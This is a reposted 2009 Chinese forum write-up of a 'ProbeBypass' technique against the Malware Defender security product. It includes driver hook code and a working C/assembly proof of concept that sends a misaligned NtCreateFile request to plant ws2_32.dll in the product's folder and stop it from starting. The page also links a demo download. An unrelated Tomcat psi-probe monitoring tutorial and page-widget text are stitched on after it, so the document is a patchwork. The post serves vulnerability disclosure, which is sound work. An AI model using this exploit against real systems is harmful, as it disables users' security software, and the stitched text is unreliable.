ProbeBypass攻击技术

 作 者: qihoocom
时 间: 2009-10-29,22:37
链 接: http://bbs.pediy.com/showthread.php?t=100321

本文介绍了一种方法,利用很多安全防御软件在进行用户态内存校验时的漏洞,对其保护系统进行攻击,达到绕过保护的目的。

这是安全防御软件对于用户态内存校验未能慎重处理而引发的恶果之一。去年10月我曾在对国内外绝大部分主动防御产品的系列漏洞文章中,揭示了同样由于对用户态内存校验不慎重,导致的一些本地内核模式拒绝访问漏洞的问题,这里我将介绍利用这类漏洞进行的攻击绕过方法,这个漏洞是我去年发现并在内部圈子做过一些讨论的,现在我将它公开出来。

本文会以Malware Defender最新版 2.4.1的实际存在的漏洞为例,来讲解这个攻击方法,但并不代表仅有这个安全软件存在漏洞,市面上大部分带防御驱动的安全产品都存在此漏洞。

很多安全防御软件在进行用户态内存的校验时,会使用 ProbeForRead函数,这个函数的源代码如下:

代码:
   if (Length != 0) {
        if (((ULONG_PTR)Address & (Alignment - 1)) != 0) {
            ExRaiseDatatypeMisalignment();

        } else if ((((ULONG_PTR)Address + Length) > (ULONG_PTR)MM_USER_PROBE_ADDRESS) ||
                   (((ULONG_PTR)Address + Length) < (ULONG_PTR)Address)) {

            *(volatile UCHAR * const)MM_USER_PROBE_ADDRESS = 0;
        }
    }

我们可以看到它实际做了这么两件事:

1.检查缓存长度不为0后,检查内存是否按指定的字节数对其

2.检查整个缓存区是否位于用户态内存范围内

这两个检查任意一个不成功,该函数都会引发一个异常,通常防御软件的驱动程序会在调用这个API的函数内设置try_except,并由其来捕获异常。通常在安全软件的HOOK过滤函数中,当捕获到这个异常,会直接放行这个操作

那么很容易想到,如果过滤函数中,未能正确设置要对齐的字节数,例如,过滤函数中,对某个缓存设置的对齐字节数为2,那么若缓存地址并未按2对齐,这时过滤驱动就会放行这个函数请求。但是如果Windows内核中,对这个缓存并不需要其按2对其进行检查,那么这个请求就会成功执行了。。

以Malware Defender为例,其核心驱动mdcore.sys(2.4.0.0 Final , CheckSum:4AE56 Timestamp:0x4AE7D795),对NtCreateFile的挂钩中有这样的处理

代码:
HookedNtCreateFile(....)

{

IncRefCnt(NT_CREATE_FILE_INDEX);

... //省略无关代码

__try

{

ProbeForRead(ObjectAttributes , sizeof(OBJECT_ATTRIBUTES) , 1);

ProbeForRead(ObjectAttributes->ObjectName , sizeof(UNICODE_STRING) , sizeof(WORD));

///省略无关代码

}

__except(EXCEPTION_EXECUTE_HANDLER)

{

bPassRequest = TRUE ;

}

if (bPassRequest)

{

///此处调用原始函数,放行操作

}

可以看到,MD对ObjectAttributes的ObjectName参数进行ProbeForRead时,使用了对齐字节数 2 , 但系统对这个参数的对齐是如何处理的呢?

实际上NtCreateFile对这个参数的处理位于:NtCreateFile->IoCreateFile->IopCreateFile->ObOpenObjectByName->ObpCaptureObjectCreateInformation->ObpCaptureObjectName中

关键代码如下:

代码:
    try {

        if (ProbeMode != KernelMode) {

            ProbeAndReadUnicodeStringEx(&InputObjectName, ObjectName);

            ProbeForRead( InputObjectName.Buffer,
                          InputObjectName.Length,
                          sizeof(WCHAR) );

.....

ProbeAndReadUnicodeStringEx宏的实现:

代码:
#define ProbeAndReadUnicodeString(Source) /
    (((Source) >= (UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) ? /
        (*(volatile UNICODE_STRING * const)MM_USER_PROBE_ADDRESS) : (*(volatile UNICODE_STRING *)(Source)))

可以看到,系统对这个参数压根没有进行任何字节对齐检查。

因此,我们可以构造一个特殊的NtCreateFile请求,并将ObjectName存放的缓存设置为不按2对齐的,就可以绕过MD的过滤,进行任何创建文件操作,例如,创建一个ws2_32.dll到md的目录下,导致其无法启动(正常MD保护打开时,是无法创建这个文件的)

示例代码如下:

代码:
WCHAR Filefname[MAX_PATH] = L"//??//c://program files//malware defender//ws2_32.dll//";


HMODULE hmod = GetModuleHandle("ntdll.dll");
PVOID pNtCreateFile = GetProcAddress(hmod , "NtCreateFile");

if (pNtCreateFile == 0)
{
   printf("cannot get NtCreateFile/n");
   getchar();
   return 0 ; 
}

HANDLE hFile ; 
ULONG FileAccess = DIRECTORY_ALL_ACCESS ;
OBJECT_ATTRIBUTES oba ; 
IO_STATUS_BLOCK iosb ; 
ULONG FileAttr = FILE_ATTRIBUTE_NORMAL ; 
ULONG FileShare = FILE_SHARE_READ | FILE_SHARE_WRITE ;
ULONG CreateDispos = FILE_CREATE ; 
ULONG CreateOptions = FILE_DIRECTORY_FILE;
LONG stat ;
UNICODE_STRING uniname ; 
uniname.Length = wcslen(Filefname) * sizeof(WCHAR);
uniname.MaximumLength = MAX_PATH * sizeof(WCHAR);
uniname.Buffer = Filefname ; 
PVOID pUniName = malloc(0x1000);
while (((ULONG)pUniName & 1) == 0 )
{
   pUniName = (PVOID)((ULONG)pUniName + 1) ; 
}

CopyMemory(pUniName , &uniname , sizeof(UNICODE_STRING));


InitializeObjectAttributes(&oba , (PUNICODE_STRING)pUniName , OBJ_CASE_INSENSITIVE , 0 , 0 );
__asm
{

   push 0
   push 0
   push CreateOptions
   push CreateDispos
   push FileShare
   push FileAttr
   push 0
   lea eax , iosb
   push eax
   lea eax ,oba
   push eax
   push FileAccess
   lea eax ,hFile
   push eax
   call pNtCreateFile
   mov stat , eax
}

if (stat != 0 )
{
   printf("cannot open file %ws %08x/n" , Filefname , stat);
   getchar();
   return 0; 
}

printf("create File OK!/n");

getchar();
return 0;

攻击结果:
 
名称:  tt1.JPG
查看次数: 648
文件大小:  68.7 KB

测试程序下载:

附件 killmdfile.rar
或到http://mj0011.ys168.com 漏洞演示目录下killmdfile.rar下载

Tomcat监控工具Probe 1.Porbe介绍 psi-probe用于对Tomcat进行监控,比tomcat的manager强大很多。 2.下载 probe-2.3.3.zip 或者 probe.war 3.将下载好的war包,或者zip文件,放在tomcat的webapp目录下 4.配置tomcat-users.xml文件 标签内添加,具体的权限配置,查看下面表格 注:tomcat-users.xm包含了所有Tomcat服务器的注册用户,其中有role(角色)、user(用户)两种信息 (1)role Tomcat中保存了一些用户权限,也就是角色,比如admin、Tomcat等。用户还可以自定义,通过""来注册一个角色。它只有rolename一个属性,通过这个属性可以把用户的权限进行分配。 (2)User 这个数据项中包含了诸如用户名、用户密码、用户权限、用户说明等数据属性。 probe有 probeuser、poweruser、poweruserplus、manager(针对不同tomcat版本)等角色,对应可操作的功能如下表: 特别注意一点:表格里面的X表示拥有权限,也就是说,manager的权限是最大的,什么都能操作(不推荐配置)。 Features by Role probeuser poweruser poweruserplus manager Context: list X X X X Context: status X X X X Context: view servlets X X X X Context: view servlet mappings X X X X Context: view filters X X X X Context: view filter mappings X X X X Context: list attributes X X X X Context: remove attributes X X X Context: start X X X Context: stop X X X Context: view web.xml X X X Context: view context.xml X Context: deploy X Context: undeploy X Session: list X X X X Session: list attributes X X X X Session: search attributes X X X X Session: remove attributes X X X Session: view last-accessed IP X X X X Session: expire single X X X Session: expire multiple X X X JSP: list X X X JSP: view source X X X JSP: view servlet source X X X JSP: compile single X X X JSP: compile multiple X X X JSP: compile all on deployment X JSP: discard all compiled X Data Source: list X X X X Data Source: group by JDBC URL X X X X Data Source: status X X X X Data Source: reset X X X Data Source: test X X Data Source: view query history X X Data Source: execute SQL X X Log: list X X X X Log: tail in real-time X X X X Log: download X X X X Thread: list X X X X Thread: view execution stack X X X Thread: kill X Connector: status X X X X Connector: real-time usage charts X X X X Cluster: status X X X X Cluster: real-time traffic charts X X X X JVM: real-time memory usage charts X X X X JVM: status X X X X JVM: advise GC X Java Service Wrapper: status X X X X Java Service Wrapper: restart JVM X System: overview X X X X System: properties X X X X System: OS details X Quick Check: execute X 5.启动tomcat,访问http://localhost:8080/probe/ 6.probe使用介绍 Applecations:tomcat上面正在跑的应用,可以看到每个应用的状态、请求数、session数等,点进去可以查看详细信息 Data Sources:tomcat的数据源,我这里没有配置数据源 Deployment:代码部署,选择一个war并部署。我这边没用这个东西来部署过代码,用脚本来实现 Logs:tomcat日志 Threads:tomcat线程,可以查看线程的状态等信息,还可以杀死线程 Cluster:tomcat集群 System Information:系统信息 Connectors:connector信息,可以看到每秒的请求数、响应时间等 Quick check:快速检测tomcat的数据源、内存等
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值